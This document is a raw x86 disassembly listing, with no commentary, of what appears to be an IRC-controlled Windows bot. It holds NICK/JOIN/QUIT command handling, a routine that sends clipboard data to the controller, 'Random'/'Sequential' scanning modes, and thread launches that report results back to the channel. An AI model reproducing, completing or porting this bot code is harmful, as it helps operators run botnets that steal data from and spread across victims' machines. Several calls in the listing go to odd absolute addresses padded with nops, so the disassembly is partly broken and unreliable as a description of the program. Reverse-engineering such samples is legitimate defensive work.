		push	offset aOpen	; "open"
		push	ebx
		call	dword_43F5DC
		test	eax, eax
		push	edi
		jz	short loc_413AC7
		push	offset unk_435F14
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_413AC7:				; CODE XREF: sub_40EE72+4C49j
		push	offset unk_435ED0
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_413AD1:				; CODE XREF: sub_40EE72+1AC8j
					; sub_40EE72+1ADFj
		mov	al, [edi]
		mov	byte_42F5C4, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_435E9C
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_413AE6:				; CODE XREF: sub_40EE72+1A9Aj
					; sub_40EE72+1AB1j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_412FD2
; ---------------------------------------------------------------------------

loc_413B34:				; CODE XREF: sub_40EE72+1A6Cj
					; sub_40EE72+1A83j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_40F239
		push	edi
		call	sub_41781F
		mov	esi, 1F4h
		pop	ecx
		cmp	eax, esi
		jge	loc_40F239
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26003D2h
		nop
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	dword_43F700
		push	[ebp+var_10]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450D4[eax]
		nop
		call	near ptr 27E09C6h
		push	edi
		call	sub_41781F
		imul	eax, 234h
		push	edi
		mov	dword_4450D4[eax], ebx
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_444EC0[eax], bl
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_413BDD:				; CODE XREF: sub_40EE72+1A3Ej
					; sub_40EE72+1A55j
		push	edi
		push	offset aAll	; "all"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413C1B
		call	sub_416F25
		cmp	eax, ebx
		jle	short loc_413C11
		push	eax
		push	offset dword_435E50

loc_413BFD:				; CODE XREF: sub_40EE72+15E2j
					; sub_40EE72+2A8Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0

loc_413C09:				; CODE XREF: sub_40EE72+3CA6j
		add	esp, 0Ch
		jmp	loc_41460C
; ---------------------------------------------------------------------------

loc_413C11:				; CODE XREF: sub_40EE72+4D83j
		push	offset dword_435E18
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_413C1B:				; CODE XREF: sub_40EE72+4D7Aj
		mov	eax, [ebp+var_C0]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40F239
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax

loc_413C37:				; CODE XREF: sub_40EE72+4E36j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40F239
		push	esi
		call	sub_41781F
		push	eax
		call	sub_416E97
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413C5E
		push	offset dword_435DE4
		jmp	short loc_413C63
; ---------------------------------------------------------------------------

loc_413C5E:				; CODE XREF: sub_40EE72+4DE3j
		push	offset dword_435DA8

loc_413C63:				; CODE XREF: sub_40EE72+4DEAj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_413C93
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_413C93:				; CODE XREF: sub_40EE72+4E03j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_413C37
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_413CAF:				; CODE XREF: sub_40EE72+1A10j
					; sub_40EE72+1A27j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset dword_428598
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_435D80
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413CE9:				; CODE XREF: sub_40EE72+19E2j
					; sub_40EE72+19F9j
		push	edi
		push	offset dword_436714
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_435D50
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413D05:				; CODE XREF: sub_40EE72+19B4j
					; sub_40EE72+19CBj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	edi
		push	offset dword_435D20
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413D28:				; CODE XREF: sub_40EE72+1986j
					; sub_40EE72+199Dj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_435CEC
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413D44:				; CODE XREF: sub_40EE72+194Bj
					; sub_40EE72+1960j
		mov	al, byte_42F5F2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_42F5F2
		jz	loc_40F239
		mov	ecx, edx

loc_413D5B:				; CODE XREF: sub_40EE72+4EF1j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_413D5B
		cmp	al, bl
		jz	loc_40F239
		mov	[ebp+arg_18], edx

loc_413D70:				; CODE XREF: sub_40EE72+51BCj
		push	8
		call	sub_416FA4
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 258h
		jle	short loc_413DBF
		push	ecx
		lea	eax, [ebp+var_2DC]
		push	offset unk_437028
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414025
; ---------------------------------------------------------------------------

loc_413DBF:				; CODE XREF: sub_40EE72+4F18j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+var_318], 64h
		mov	[ebp+var_32C], 7
		mov	[ebp+var_328], 140h
		mov	[ebp+arg_0], ebx
		jz	short loc_413E30
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_42ACB0
		lea	esi, [eax-0Ah]

loc_413DFA:				; CODE XREF: sub_40EE72+4FA0j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E16
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_413DFA
		jmp	short loc_413E30
; ---------------------------------------------------------------------------

loc_413E16:				; CODE XREF: sub_40EE72+4F96j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx

loc_413E30:				; CODE XREF: sub_40EE72+4F7Bj
					; sub_40EE72+4FA2j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43F60C
		mov	al, [ebp+var_9C7]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_413ED2

loc_413EB0:				; CODE XREF: sub_40EE72+505Ej
		cmp	eax, ebx
		jz	short loc_413ED2
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_413EB0

loc_413ED2:				; CODE XREF: sub_40EE72+503Cj
					; sub_40EE72+5040j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_434]
		push	eax
		mov	[ebp+var_304], 1
		mov	[ebp+var_30C], esi
		call	sub_41782A
		mov	edi, offset aF	; "#f"
		push	offset byte_43C80C
		push	edi
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_413F3C
		push	edi
		lea	eax, [ebp+var_3B4]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_413F42
; ---------------------------------------------------------------------------

loc_413F3C:				; CODE XREF: sub_40EE72+50B1j
		mov	[ebp+var_3B4], bl

loc_413F42:				; CODE XREF: sub_40EE72+50C8j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_413F54
		mov	eax, offset aSequential	; "Sequential"

loc_413F54:				; CODE XREF: sub_40EE72+50DBj
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_435C74
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_413FDE

loc_413FCC:				; CODE XREF: sub_40EE72+516Aj
		cmp	[ebp+var_300], ebx
		jnz	short loc_413FF9
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_413FCC
; ---------------------------------------------------------------------------

loc_413FDE:				; CODE XREF: sub_40EE72+5158j
		nop
		call	near ptr 2650C45h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436F18
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_413FF9:				; CODE XREF: sub_40EE72+5160j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414018
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_414018:				; CODE XREF: sub_40EE72+518Aj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_414025:				; CODE XREF: sub_40EE72+4F48j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_413D70
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_414039:				; CODE XREF: sub_40EE72+310Aj
					; sub_40EE72+4FC4j
		push	offset unk_435C30
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_414043:				; CODE XREF: sub_40EE72+1921j
					; sub_40EE72+1936j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	offset unk_435BF8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Eh
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_409037
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4140DC

loc_4140C9:				; CODE XREF: sub_40EE72+5268j
		cmp	[ebp+var_18], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_4140C9
; ---------------------------------------------------------------------------

loc_4140DC:				; CODE XREF: sub_40EE72+5255j
		call	near ptr 2650C45h
		nop
		push	eax
		push	offset unk_435BAC
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_4140ED:				; CODE XREF: sub_40EE72+18F7j
					; sub_40EE72+190Cj
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414103
		push	offset unk_435B80
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_414103:				; CODE XREF: sub_40EE72+5285j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_414126
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41413A
; ---------------------------------------------------------------------------

loc_414126:				; CODE XREF: sub_40EE72+529Aj
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h

loc_41413A:				; CODE XREF: sub_40EE72+52B2j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_41414A
		mov	esi, offset byte_42F678

loc_41414A:				; CODE XREF: sub_40EE72+52D1j
		push	esi
		lea	eax, [ebp+var_6F8]
		push	edi
		push	eax
		call	sub_41782A
		mov	eax, dword_42F5AC
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5EC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F0], ebx
		mov	[ebp+var_800], eax
		lea	eax, [ebp+var_5E8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_7FC]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_5EC]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_5F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_406C19
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_5F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41421D

loc_414207:				; CODE XREF: sub_40EE72+53A9j
		cmp	[ebp+var_560], ebx
		jnz	loc_410E57
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_414207
; ---------------------------------------------------------------------------

loc_41421D:				; CODE XREF: sub_40EE72+5393j
		call	near ptr 2650C45h
		nop
		push	eax
		push	offset unk_435B38
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_41422E:				; CODE XREF: sub_40EE72+18CDj
					; sub_40EE72+18E2j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414252
; ---------------------------------------------------------------------------

loc_41424D:				; CODE XREF: sub_40EE72+53C5j
					; sub_40EE72+53D0j
		mov	eax, dword_42F5B0

loc_414252:				; CODE XREF: sub_40EE72+53D9j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9C4], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_568], eax
		jz	short loc_414285
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4142B0
; ---------------------------------------------------------------------------

loc_414285:				; CODE XREF: sub_40EE72+5400j
		lea	eax, [ebp+var_3FC]
		push	104h
		push	eax
		call	near ptr 2600423h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4192B8
		add	esp, 14h

loc_4142B0:				; CODE XREF: sub_40EE72+5411j
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		cmp	[ebp+eax+var_681], 5Ch
		pop	ecx
		jnz	short loc_4142DB
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_681], bl

loc_4142DB:				; CODE XREF: sub_40EE72+5453j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_908]
		mov	[ebp+var_90C], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_680]
		mov	[ebp+var_570], edi
		push	eax
		push	[ebp+var_57C]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_90C]
		push	ebx
		push	eax
		push	offset sub_405AF2
		push	ebx
		push	ebx
		call	near ptr 2680AA8h
		nop
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414393

loc_41437D:				; CODE XREF: sub_40EE72+551Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_4144E5
		push	32h
		call	near ptr 26003D2h
		nop
		jmp	short loc_41437D
; ---------------------------------------------------------------------------

loc_414393:				; CODE XREF: sub_40EE72+5509j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_435AF0
		jmp	loc_4144D6
; ---------------------------------------------------------------------------

loc_4143A4:				; CODE XREF: sub_40EE72+18A3j
					; sub_40EE72+18B8j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_4143C8
; ---------------------------------------------------------------------------

loc_4143C3:				; CODE XREF: sub_40EE72+553Bj
					; sub_40EE72+5546j
		mov	eax, dword_42F5B4

loc_4143C8:				; CODE XREF: sub_40EE72+554Fj
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jnz	short loc_4143DF
		lea	eax, [ebp+var_D8]

loc_4143DF:				; CODE XREF: sub_40EE72+5565j
		push	eax
		lea	eax, [ebp+var_6B8]
		push	40h
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_414401
		mov	esi, offset byte_43C80C

loc_414401:				; CODE XREF: sub_40EE72+5588j
		push	esi
		lea	eax, [ebp+var_678]
		push	100h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_738]
		push	[ebp+var_8C]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6B8]
		push	eax
		mov	[ebp+var_73C], esi
		push	[ebp+var_578]
		mov	[ebp+var_568], edi
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_435AA4
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	6
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	offset word_41570E
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4144CA

loc_4144B8:				; CODE XREF: sub_40EE72+5656j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4144E5
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_4144B8
; ---------------------------------------------------------------------------

loc_4144CA:				; CODE XREF: sub_40EE72+5644j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset dword_435A58

loc_4144D6:				; CODE XREF: sub_40EE72+3627j
					; sub_40EE72+3724j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4144E5:				; CODE XREF: sub_40EE72+360Bj
					; sub_40EE72+3708j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	edi
		jmp	loc_411D2F
; ---------------------------------------------------------------------------

loc_4144F5:				; CODE XREF: sub_40EE72+1879j
					; sub_40EE72+188Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414508
		push	esi
		call	sub_41781F
		jmp	short loc_41450F
; ---------------------------------------------------------------------------

loc_414508:				; CODE XREF: sub_40EE72+568Cj
		push	8
		call	sub_416FC3

loc_41450F:				; CODE XREF: sub_40EE72+5694j
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4071DB

loc_41452A:				; CODE XREF: sub_40EE72+5B67j
		add	esp, 10h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_414532:				; CODE XREF: sub_40EE72+184Fj
					; sub_40EE72+1864j
		mov	eax, dword_43F590
		cmp	eax, ebx
		jz	short loc_41454F
		call	eax
		test	eax, eax
		jz	short loc_414548
		push	offset unk_435A24
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_414548:				; CODE XREF: sub_40EE72+56CDj
		push	offset unk_4359E8
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_41454F:				; CODE XREF: sub_40EE72+56C7j
		push	offset unk_4359AC
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_414556:				; CODE XREF: sub_40EE72+1825j
					; sub_40EE72+183Aj
		call	sub_40AE02
		test	eax, eax
		jz	short loc_41457A
		push	offset unk_435978

loc_414564:				; CODE XREF: sub_40EE72+4AFEj
					; sub_40EE72+56D4j ...
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_4110BD
; ---------------------------------------------------------------------------

loc_41457A:				; CODE XREF: sub_40EE72+56EBj
		push	offset unk_43593C
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_414581:				; CODE XREF: sub_40EE72+17FBj
					; sub_40EE72+1810j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4145A0
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4145A0:				; CODE XREF: sub_40EE72+5712j
		push	ebx
		push	[ebp+var_4]
		call	sub_40AABF
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4358FC

loc_4145BD:				; CODE XREF: sub_40EE72+5A09j
					; sub_40EE72+5A3Bj
		call	sub_40BF6D
		add	esp, 18h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_4145CA:				; CODE XREF: sub_40EE72+171Cj
					; sub_40EE72+1731j
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_4145DD
		push	offset dword_4358C4
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------

loc_4145DD:				; CODE XREF: sub_40EE72+5762j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4145F9
		push	offset dword_43588C
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------

loc_4145F9:				; CODE XREF: sub_40EE72+577Ej
		push	offset dword_43585C

loc_4145FE:				; CODE XREF: sub_40EE72+2C51j
					; sub_40EE72+2D87j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_41460C:				; CODE XREF: sub_40EE72+15C6j
					; sub_40EE72+2D61j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]

loc_414619:				; CODE XREF: sub_40EE72+3963j
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]

loc_414629:				; CODE XREF: sub_40EE72+2ECBj
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414E11
; ---------------------------------------------------------------------------

loc_414636:				; CODE XREF: sub_40EE72+16F2j
					; sub_40EE72+1707j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A4AC
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_41464F:				; CODE XREF: sub_40EE72+16C8j
					; sub_40EE72+16DDj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D320
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_41466C:				; CODE XREF: sub_40EE72+169Ej
					; sub_40EE72+16B3j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 25F09B1h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_414695
		push	esi
		call	sub_41781F
		pop	ecx
		mov	edi, eax

loc_414695:				; CODE XREF: sub_40EE72+5818j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4146AE
		cmp	edi, 0FFFFFFFFh
		jnz	loc_414F47

loc_4146AE:				; CODE XREF: sub_40EE72+5831j
		push	ebx
		call	sub_40B721
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_435834
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_411A5D
; ---------------------------------------------------------------------------

loc_4146F1:				; CODE XREF: sub_40EE72+1674j
					; sub_40EE72+1689j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408C26
		add	esp, 0Ch
		push	offset unk_435804
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_41470F:				; CODE XREF: sub_40EE72+164Aj
					; sub_40EE72+165Fj
		push	1Fh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414738
		cmp	[ebp+var_8], ebx
		jnz	loc_40F239
		push	ebx
		push	[ebp+var_4]
		push	offset unk_4357D0
		push	[ebp+var_8C]
		jmp	loc_40F7A0
; ---------------------------------------------------------------------------

loc_414738:				; CODE XREF: sub_40EE72+58A7j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		jz	short loc_414799
		push	esi
		push	offset aFull	; "full"
